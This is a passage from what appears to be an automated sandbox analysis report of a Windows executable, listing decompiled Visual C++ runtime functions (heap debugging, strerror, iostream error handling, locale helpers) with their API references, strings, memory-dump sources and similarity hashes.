				return 0;
			}

0x0042c6aa
0x0042c6b3

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002C630), ref: 0042C6AA

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: db6b1dce9eaf650c020e8375ca291bf0f7e7bbfc5f4cb3975abd66748bb05bbc
Instruction ID: 869e4aa0a5c622b36978eaa0a0ffebde708a169121e8bef66089a5c965673ab5
Opcode Fuzzy Hash: db6b1dce9eaf650c020e8375ca291bf0f7e7bbfc5f4cb3975abd66748bb05bbc
Instruction Fuzzy Hash: 32B0123125830827430017F27C098077A9CC5C4B303910061F00CD2060D861940184D9

Uniqueness

Uniqueness Score: -1.00%

Function 004E31FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: 65f4a88c91c93c699f589bab6c8b9798fd9e66ccee449ee43d975ceffdff0150
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: 4D31D12954448D9ECB2E4BB1944A1D1BBA0DF9A305F690DCBCB91AFC57C9346843C793

Uniqueness

Uniqueness Score: -1.00%

Function 004E3253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 16d799414ec05da70f96d9c17e4f99c0336834803a35f4fb9e9c3477f9aaccf0
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: E231BC2990089D9FCB2D4B76905C191B7A4DF5E305FB60D8ACB90AFD57CA306843C693

Uniqueness

Uniqueness Score: -1.00%

Function 004E0042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d5727c5d878e85b412c765ebb3ae241454b5d9dd87de267fd6ad5e06f8139b7f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 8F1170723401009FD754DF66ECD1FA673EAEB89321B298156E918CB312D6B9EC42C760

Uniqueness

Uniqueness Score: -1.00%

Function 00735C15, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.280816296.0000000000731000.00000040.00000001.sdmp, Offset: 00731000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 662a5e26009b5a6719f6518430855293bbf3fb4cac5fc5c54d4915982770625f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 3D11ACB2340601AFEB44DE55DCC1EA273EAEB98324B298065ED04CB306E679E842C760

Uniqueness

Uniqueness Score: -1.00%

Function 00422E80, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00422E80(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, char _a8) {
				signed int _v8;
				signed int _v12;
				char _v64;
				char _v84;
				char _v100;
				signed int _v101;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				signed int _v120;
				signed int _t50;
				intOrPtr _t62;
				void* _t69;
				intOrPtr _t77;
				void* _t78;
				void* _t107;
				void* _t108;
				signed int _t109;
				void* _t110;
				void* _t112;

				_t108 = __esi;
				_t107 = __edi;
				_t78 = __ebx;
				_t50 =  *0x447b80; // 0xd5ffe527
				_v12 = _t50 ^ _t109;
				L00422A50( &_v100, _a4);
				_v8 = 0;
				while(1) {
					_t7 =  &_a8; // 0x422e24
					if( *((intOrPtr*)( *_t7 + 0x10)) >= 0x10) {
						_v112 = 0x10;
					} else {
						_t9 =  &_a8; // 0x422e24
						_v112 =  *((intOrPtr*)( *_t9 + 0x10));
					}
					if(_v8 >= _v112) {
						break;
					}
					_t15 =  &_a8; // 0x422e24
					_v101 =  *((intOrPtr*)( *_t15 + _v8 + 0x20));
					if(E00422B60( &_v100) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E00422B60( &_v100))) + 0xac)) <= 1) {
						_t62 = E0042A0A0(E00422B60( &_v100), _v101 & 0x000000ff, 0x157);
						_t112 = _t110 + 0xc;
						_v116 = _t62;
					} else {
						_t77 = E0042A150(_v101 & 0x000000ff, 0x157, E00422B60( &_v100));
						_t112 = _t110 + 0xc;
						_v116 = _t77;
					}
					if(_v116 == 0) {
						_v120 = 0x20;
					} else {
						_v120 = _v101 & 0x000000ff;
					}
					 *((char*)(_t109 + _v8 - 0x50)) = _v120;
					_v108 =  *((intOrPtr*)(L004279C0(_v120)));
					 *((intOrPtr*)(L004279C0(_v120))) = 0;
					_t91 = _t109 + _v8 * 3 - 0x3c;
					_t69 = E00429FF0(_t109 + _v8 * 3 - 0x3c, _t109 + _v8 * 3 - 0x3c, 0x31 - _v8 * 3, "%.2X ", _v101 & 0x000000ff);
					_t110 = _t112 + 0x10;
					if(_t69 < 0) {
						E00423020( *((intOrPtr*)(L004279C0(_t91))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x91c, 0);
						_t110 = _t110 + 0x20;
					}
					 *((intOrPtr*)(L004279C0(_t91))) = _v108;
					_v8 = _v8 + 1;
				}
				_t100 = _v8;
				 *((char*)(_t109 + _v8 - 0x50)) = 0;
				_push( &_v64);
				if(L00427BE0(0, 0, 0, 0, " Data: <%s> %s\n",  &_v84) == 1) {
					asm("int3");
				}
				return E00424E30(E00422B30( &_v100), _t78, _v12 ^ _t109, _t100, _t107, _t108);
			}

0x00422e80
0x00422e80
0x00422e80
0x00422e88
0x00422e8f
0x00422e99
0x00422e9e
0x00422eb0
0x00422eb0
0x00422eb7
0x00422ec4
0x00422eb9
0x00422eb9
0x00422ebf
0x00422ebf
0x00422ed1
0x00000000
0x00000000
0x00422ed7
0x00422ee0
0x00422eed
0x00422f35
0x00422f3a
0x00422f3d
0x00422f02
0x00422f15
0x00422f1a
0x00422f1d
0x00422f1d
0x00422f44
0x00422f4f
0x00422f46
0x00422f4a
0x00422f4a
0x00422f5c
0x00422f67
0x00422f6f
0x00422f93
0x00422f98
0x00422f9d
0x00422fa2
0x00422fc6
0x00422fcb
0x00422fcb
0x00422fd6
0x00422ead
0x00422ead
0x00422fdd
0x00422fe0
0x00422fe8
0x00423005
0x00423007
0x00423007
0x0042301d

APIs

__isctype_l.LIBCMTD ref: 00422F15
__chvalidator_l.LIBCMTD ref: 00422F35

Part of subcall function 0042A0A0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042A10F

_swprintf_s.LIBCMTD ref: 00422F98
__invoke_watson_if_oneof.LIBCMTD ref: 00422FC6
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042300B

Strings

Data: <%s> %s, xrefs: 00422FED
%.2X , xrefs: 00422F7A
$.B, xrefs: 00422EB0, 00422ED7, 00422EB9
(*_errno()), xrefs: 00422FB5
, xrefs: 00422F4F
_printMemBlockData, xrefs: 00422FB0
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00422FAB

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~_$__chvalidator_l__invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: $ Data: <%s> %s$$.B$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2593626323-2614028869
Opcode ID: b9eca4081e30fb75b81afdfb5b0b5cd1a1696aac61e384271642e6e8be7769bd
Instruction ID: 4bf4641eeee48fa5bd95c7d78c09f2e5215bdc08d2761786aeb61d6b160acc26
Opcode Fuzzy Hash: b9eca4081e30fb75b81afdfb5b0b5cd1a1696aac61e384271642e6e8be7769bd
Instruction Fuzzy Hash: E641D570F04328ABDB04DFA1DE56BAEBB75AF44304F60055EE4056F2C2D7B89A05CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00426420, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426420(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t24;
				void* _t27;
				void* _t32;

				_v12 = L00429CF0(_t27);
				if(_v12 != 0) {
					if( *((intOrPtr*)(_v12 + 0x24)) != 0) {
						L5:
						_v8 =  *((intOrPtr*)(_v12 + 0x24));
						E004255C0(E00426E10( *((intOrPtr*)(_v12 + 0x24)), _v8, 0x86, E004264D0( *((intOrPtr*)(_v12 + 0x24)), _a4)), _t21, L"strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum))", L"strerror", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\strerror.c", 0x53, 0);
						return _v8;
					}
					_t24 = L00421350(0x86, 1, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\strerror.c", 0x4a);
					_t32 = _t32 + 0x14;
					_v16 = _t24;
					 *((intOrPtr*)(_v12 + 0x24)) = _v16;
					if(_v16 != 0) {
						goto L5;
					}
					return "Visual C++ CRT: Not enough memory to complete call to strerror.";
				}
				return "Visual C++ CRT: Not enough memory to complete call to strerror.";
			}

0x0042642d
0x00426434
0x00426447
0x0042647c
0x00426482
0x004264b7
0x00000000
0x004264bf
0x00426459
0x0042645e
0x00426461
0x0042646a
0x00426471
0x00000000
0x00000000
0x00000000
0x00426473
0x00000000

Strings

strerror, xrefs: 0042648E
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c, xrefs: 00426489
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c, xrefs: 0042644B
Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 00426436, 00426473
strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum)), xrefs: 00426493

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.$f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c$f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c$strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum))$strerror
API String ID: 0-3761290748
Opcode ID: e96130c8846a0781df89daf5010f2f2d0c59a9ec12bd6a5ed0f9413dc9002186
Instruction ID: 16035ccf2868a5ffe8ab5ec9f0d6dfa1a7b70371efac7e490041cc4da5348e50
Opcode Fuzzy Hash: e96130c8846a0781df89daf5010f2f2d0c59a9ec12bd6a5ed0f9413dc9002186
Instruction Fuzzy Hash: 811186B4F40314BBDB00EB94E942F5E77B0AB54708F5181AABA447B3C2D6B99A408B4D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D322, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E0041D322(void* __ecx, signed int _a4, char* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				signed int _t19;
				char* _t20;
				signed char _t29;
				intOrPtr _t30;

				_t19 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t19;
				_t29 =  *(__ecx + 0x10) & _t19;
				if(_t29 == 0) {
					return _t19;
				}
				_t20 = 0;
				if(_a8 == 0) {
					L4:
					if((_t29 & 0x00000004) == 0) {
						if((_t29 & 0x00000002) == 0) {
							_t30 = E0041EEE0();
							_a8 = "ios_base::eofbit set";
						} else {
							_t30 = E0041EEE0();
							_a8 = "ios_base::failbit set";
						}
					} else {
						_t30 = E0041EEE0();
						_a8 = "ios_base::badbit set";
					}
					_t29 =  &_v24;
					E00420630(_t29,  &_a8);
					_v12 = 1;
					_v8 = _t30;
					_v24 = 0x401a18;
					_push(0x43dfec);
					_t20 =  &_v24;
					L3:
					_push(_t20);
					E00423660();
					goto L4;
				}
				_push(0);
				goto L3;
			}

0x0041d328
0x0041d32b
0x0041d334
0x0041d336
0x0041d3a5
0x0041d3a5
0x0041d338
0x0041d33d
0x0041d346
0x0041d34c
0x0041d382
0x0041d399
0x0041d39b
0x0041d384
0x0041d389
0x0041d38b
0x0041d38b
0x0041d34e
0x0041d353
0x0041d355
0x0041d355
0x0041d360
0x0041d363
0x0041d368
0x0041d36b
0x0041d36e
0x0041d375
0x0041d37a
0x0041d340
0x0041d340
0x0041d341
0x00000000
0x0041d341
0x0041d33f
0x00000000

APIs

__CxxThrowException@8.LIBCMTD ref: 0041D341
std::exception::exception.LIBCMTD ref: 0041D363

Strings

ios_base::failbit set, xrefs: 0041D38B
ios_base::badbit set, xrefs: 0041D355
ios_base::eofbit set, xrefs: 0041D39B

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3728558374-1866435925
Opcode ID: 15dd0131245b991e95da87f6bfc87a39a408e0f05e1458dfa695da46bcdc2f82
Instruction ID: ff4732e8f8c1fca6421db2d9ae1224eea1e589fc454cebfdedfeb25b7a272f4a
Opcode Fuzzy Hash: 15dd0131245b991e95da87f6bfc87a39a408e0f05e1458dfa695da46bcdc2f82
Instruction Fuzzy Hash: CF0152B1A0020C9AC700EF69C5066EE77E9AB40358F14C05BFC15AB252D77CCA45CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D9FA, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041D9FA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a16) {
				void* _t17;

				_push(_a4);
				E0041D29B(_a4, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x99d);
				if(_a16 == 0) {
					E004201C0(L"invalid null pointer", L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x99e);
					_t17 = _t17 + 0xc;
				}
				E00420A60(_a16, _a4, _a8 - _a4);
				return _a8;
			}

0x0041d9fe
0x0041da12
0x0041da1b
0x0041da28
0x0041da2d
0x0041da2d
0x0041da3d
0x0041da4a

APIs

Part of subcall function 0041D29B: std::_Debug_message.LIBCPMTD ref: 0041D2D1

std::_Debug_message.LIBCPMTD ref: 0041DA28
_memmove.LIBCMT ref: 0041DA3D

Strings

invalid null pointer, xrefs: 0041DA23
C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041DA01, 0041DA0B, 0041DA22

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$_memmove
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3614558019-955221705
Opcode ID: eea59f3ddf1d5e231eb06e368be25b17303e5fdc1867abfa48553266f451c815
Instruction ID: 9dd0c6a3c4eb0bb58fa2ec09fc9dc475336ebcf6d830f59979cc36333cd76938
Opcode Fuzzy Hash: eea59f3ddf1d5e231eb06e368be25b17303e5fdc1867abfa48553266f451c815
Instruction Fuzzy Hash: 90F01C3654122CBBDF019E45ED02EDA3F65EF113A4F408026FD0C191A2C2769AA0D6D9

Uniqueness

Uniqueness Score: -1.00%

Function 0041D9A7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041D9A7(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t17;

				_push(_a4);
				E0041D29B(_a4, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x98f);
				if(_a12 == 0) {
					E004201C0(L"invalid null pointer", L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x990);
					_t17 = _t17 + 0xc;
				}
				E00420A60(_a12, _a4, _a8 - _a4);
				return _a8;
			}

0x0041d9ab
0x0041d9bf
0x0041d9c8
0x0041d9d5
0x0041d9da
0x0041d9da
0x0041d9ea
0x0041d9f7

APIs

Part of subcall function 0041D29B: std::_Debug_message.LIBCPMTD ref: 0041D2D1

std::_Debug_message.LIBCPMTD ref: 0041D9D5
_memmove.LIBCMT ref: 0041D9EA

Strings

invalid null pointer, xrefs: 0041D9D0
C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041D9AE, 0041D9B8, 0041D9CF

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$_memmove
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3614558019-955221705
Opcode ID: 7d90ea427d6d967d6f0d84c05e5d75761fbc05d0c3625afe9a41548ab8fdb47e
Instruction ID: 888e14496ed835e556112444d84ae06f07b811c18cb77fcd3d231c86e54dd8a8
Opcode Fuzzy Hash: 7d90ea427d6d967d6f0d84c05e5d75761fbc05d0c3625afe9a41548ab8fdb47e
Instruction Fuzzy Hash: 25F01C7690021CBBDF019E45DC02EDA3F64EF11364F408026FD1C19162C67696A0D7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00424BE0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00424BE0(char _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v32;
				signed int _t11;
				signed int _t27;

				_push(0xfffffffe);
				_push(0x43e6d0);
				_push(E004275C0);
				_push( *[fs:0x0]);
				_t11 =  *0x447b80; // 0xd5ffe527
				_v12 = _v12 ^ _t11;
				_push(_t11 ^ _t27);
				_t3 =  &_v20; // 0x423639
				 *[fs:0x0] = _t3;
				E00423BD0();
				_v8 = 0;
				_t5 =  &_a4; // 0x423639
				_v32 = E00424C60( *_t5);
				_v8 = 0xfffffffe;
				E00424C3B();
				_t9 =  &_v20; // 0x423639
				 *[fs:0x0] =  *_t9;
				return _v32;
			}

0x00424be5
0x00424be7
0x00424bec
0x00424bf7
0x00424bfe
0x00424c03
0x00424c08
0x00424c09
0x00424c0c
0x00424c12
0x00424c17
0x00424c1e
0x00424c2a
0x00424c2d
0x00424c34
0x00424c44
0x00424c47
0x00424c55

APIs

__onexit_nolock.LIBCMTD ref: 00424C22

Part of subcall function 00424C60: DecodePointer.KERNEL32(?,00424C27,96B,D5FFE527), ref: 00424C6E
Part of subcall function 00424C60: DecodePointer.KERNEL32(?), ref: 00424C7E

Strings

96B, xrefs: 00424C09, 00424C44
96B, xrefs: 00424C1E, 00424C21

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: DecodePointer$__onexit_nolock
String ID: 96B$96B
API String ID: 1291430618-1168345049
Opcode ID: 2200ba927682f7527358eec9b499ad4444fcdb3108598ecdfda4132f8a5aeb42
Instruction ID: 028159a621061ddc3cf089deeeb81e015f81f1eb9f43375d54ddd1c1addf4c0c
Opcode Fuzzy Hash: 2200ba927682f7527358eec9b499ad4444fcdb3108598ecdfda4132f8a5aeb42
Instruction Fuzzy Hash: 92F0F9B2A0561CABC700CF9AEC45B9BBBB8EB84734F50462BF425D3680D73DA5008A54

Uniqueness

Uniqueness Score: -1.00%

Function 004244B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004244B0(char _a4) {

				if( *0x4c506c != 0) {
					_t2 =  &_a4; // 0x41e36f
					return E00424430( *_t2, 0);
				}
				_t1 =  &_a4; // 0x41e36f
				return E0042A050( *_t1, 1);
			}

0x004244bc
0x004244d2
0x00000000
0x004244db
0x004244c0
0x00000000

APIs

__chvalidator.LIBCMTD ref: 004244C4

Part of subcall function 0042A050: __chvalidator_l.LIBCMTD ref: 0042A08A

__isupper_l.LIBCMTD ref: 004244D6

Strings

oA, xrefs: 004244D2, 004244C0, 004244C3, 004244D5

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: __chvalidator__chvalidator_l__isupper_l
String ID: oA
API String ID: 799941776-3454950961
Opcode ID: b247e389f5d27aedb91729508d0638c6bd73b6600a74074427a05463520a362b
Instruction ID: 6952227f5c1ee939e3cae4aca2da569863327a521a97598498a0302762e1ef57
Opcode Fuzzy Hash: b247e389f5d27aedb91729508d0638c6bd73b6600a74074427a05463520a362b
Instruction Fuzzy Hash: 9FD05E76A40618B7C7006A52FC02F6A3648979070CF944016FE0C4A682D97AB5A08AEA

Uniqueness

Uniqueness Score: -1.00%

Function 0043D9E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043D9E0(void* __eflags) {

				E0041EEF0(0x4c4f64);
				return E00424DB0(E0043DB00);
			}

0x0043d9ea
0x0043d9fd

APIs

std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 0043D9EA
_atexit.LIBCMTD ref: 0043D9F4

Strings

dOL, xrefs: 0043D9E5

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Generic_error_categoryGeneric_error_category::__atexitstd::_
String ID: dOL
API String ID: 3960646304-3088376991
Opcode ID: 1f0f84b8a114d182c799481a60c3c2c579a1f1509ad2629bf0a5871546319a8c
Instruction ID: 5df108248a7b90163a5b9fe95c71ceb9455b244976b22a0545fd5bd5904e4df9
Opcode Fuzzy Hash: 1f0f84b8a114d182c799481a60c3c2c579a1f1509ad2629bf0a5871546319a8c
Instruction Fuzzy Hash: 42B0127AE9431913018531D73823F9776CE84C8B2CB99003FB90D02643BD4DB86080AF

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA40, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA40() {

				E0041E510(0x4c4fec);
				return E00424DB0(E0043DB60);
			}

0x0043da4a
0x0043da5d

APIs

std::_Init_locks::_Init_locks.LIBCPMTD ref: 0043DA4A

Part of subcall function 0041E510: InterlockedIncrement.KERNEL32(004479A8), ref: 0041E520

_atexit.LIBCMTD ref: 0043DA54

Strings

OL, xrefs: 0043DA45

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: IncrementInit_locksInit_locks::_Interlocked_atexitstd::_
String ID: OL
API String ID: 970615194-3971664621
Opcode ID: e3994820246522d08b87d7925fe29005765ec125f0a88c4c6494638c34438e59
Instruction ID: 2737ac716fe3f306bd5ffe2247f4233f9deaccbfe56af3944092419c19afa069
Opcode Fuzzy Hash: e3994820246522d08b87d7925fe29005765ec125f0a88c4c6494638c34438e59
Instruction Fuzzy Hash: 4AB0927AE5024822114232E73823E66728E84C4B2CB99042FB90D022437E4ABA6040AF

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA00, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA00(void* __eflags) {

				E0041FD10(0x4c4f5c);
				return E00424DB0(E0043DB20);
			}

0x0043da0a
0x0043da1d

APIs

std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 0043DA0A
_atexit.LIBCMTD ref: 0043DA14

Strings

\OL, xrefs: 0043DA05

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Generic_error_categoryGeneric_error_category::__atexitstd::_
String ID: \OL
API String ID: 3960646304-2456572087
Opcode ID: f9b9c0379d39d2609febcd6f1502e953f4a57ecf1b1d3605b175b3484f200d40
Instruction ID: c2c415c70fad58e578c42db279207286215ba657c63df1281551f60cb9e42283
Opcode Fuzzy Hash: f9b9c0379d39d2609febcd6f1502e953f4a57ecf1b1d3605b175b3484f200d40
Instruction Fuzzy Hash: 23B09276A5424812454131D63827A6A769984C4B28BA9003FB51E02243AE4AB86580AF

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA20, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA20(void* __eflags) {

				E0041FDC0(0x4c4f50);
				return E00424DB0(E0043DB40);
			}

0x0043da2a
0x0043da3d

APIs

std::_System_error_category::_System_error_category.LIBCPMTD ref: 0043DA2A

Part of subcall function 0041FDC0: std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 0041FDCC

_atexit.LIBCMTD ref: 0043DA34

Strings

POL, xrefs: 0043DA25

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
